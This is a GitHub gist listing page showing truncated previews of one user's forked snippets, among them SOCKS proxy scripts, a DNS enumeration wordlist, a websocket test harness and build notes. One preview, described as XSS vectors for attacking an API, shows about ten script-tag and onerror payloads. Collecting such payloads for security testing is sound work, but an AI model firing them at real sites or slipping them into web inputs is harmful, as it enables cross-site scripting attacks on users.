Skip to content

Instantly share code, notes, and snippets.

@mmsatari
mmsatari / The Technical Interview Cheat Sheet.md
Created April 20, 2021 17:49 — forked from tsiege/The Technical Interview Cheat Sheet.md
This is my technical interview cheat sheet. Feel free to fork it or do whatever you want with it. PLEASE let me know if there are any errors or if anything crucial is missing. I will add more links soon.

ANNOUNCEMENT

I have moved this over to the Tech Interview Cheat Sheet Repo and has been expanded and even has code challenges you can run and practice against!






\

@mmsatari
mmsatari / test_socks5_to_tcp.py
Created June 11, 2020 14:24 — forked from zengxs/test_socks5_to_tcp.py
Use python asyncio module to unwrap socks5 proxy socket
import asyncio
import logging
from asyncio import StreamReader, StreamWriter, StreamReaderProtocol
from typing import Optional
import socks
logging.basicConfig(level=logging.INFO)
@mmsatari
mmsatari / proxy_socks2http.py
Created June 11, 2020 14:22 — forked from zengxs/proxy_socks2http.py
Convert socks proxy to http proxy (use python with asyncio)
import asyncio
import logging
import re
from asyncio import StreamReader, StreamWriter, StreamReaderProtocol
from collections import namedtuple
from typing import Optional
import socks # use pysocks
logging.basicConfig(level=logging.INFO)
@mmsatari
mmsatari / all.txt
Created May 9, 2020 22:11 — forked from jhaddix/all.txt
all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/
This file has been truncated, but you can view the full file.
.
..
........
@
*
*.*
*.*.*
🐎
@mmsatari
mmsatari / ws.harness.py
Created March 1, 2020 18:18 — forked from mfowl/ws.harness.py
Web Socket Harness
#!/usr/bin/python
import socket,ssl
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from websocket import create_connection, WebSocket
from urlparse import parse_qs
import argparse
import os
LOOP_BACK_PORT_NUMBER = 8000
@mmsatari
mmsatari / mini-busybox.md
Last active December 6, 2019 20:02 — forked from chrisdone/gist:02e165a0004be33734ac2334f215380e
Build and run minimal Linux / Busybox systems in Qemu

Common

export OPT=/opt
export BUILDS=/some/where/mini_linux
mkdir -p $BUILDS

Linux kernel

@mmsatari
mmsatari / main.cpp
Created October 28, 2019 20:43
certificate_parser
/*
cmake_minimum_required(VERSION 3.10)
project(certificate_parser)
set(CMAKE_CXX_STANDARD 11)
add_executable(certificate_parser main.cpp)
target_link_libraries(certificate_parser crypto)
*/
#include <openssl/pem.h>
@mmsatari
mmsatari / 666_lines_of_XSS_vectors.html
Created November 23, 2018 20:16 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@mmsatari
mmsatari / Makefile
Last active December 1, 2017 12:19 — forked from holachek/Makefile
AVR Tutorial Makefile
# Name: Makefile
# Author: <insert your name here>
# Copyright: <insert your copyright message here>
# License: <insert your license reference here>
# DEVICE ....... The AVR device you compile for
# CLOCK ........ Target AVR clock rate in Hertz
# OBJECTS ...... The object files created from your source files. This list is
# usually the same as the list of source files with suffix ".o".
# PROGRAMMER ... Options to avrdude which define the hardware you use for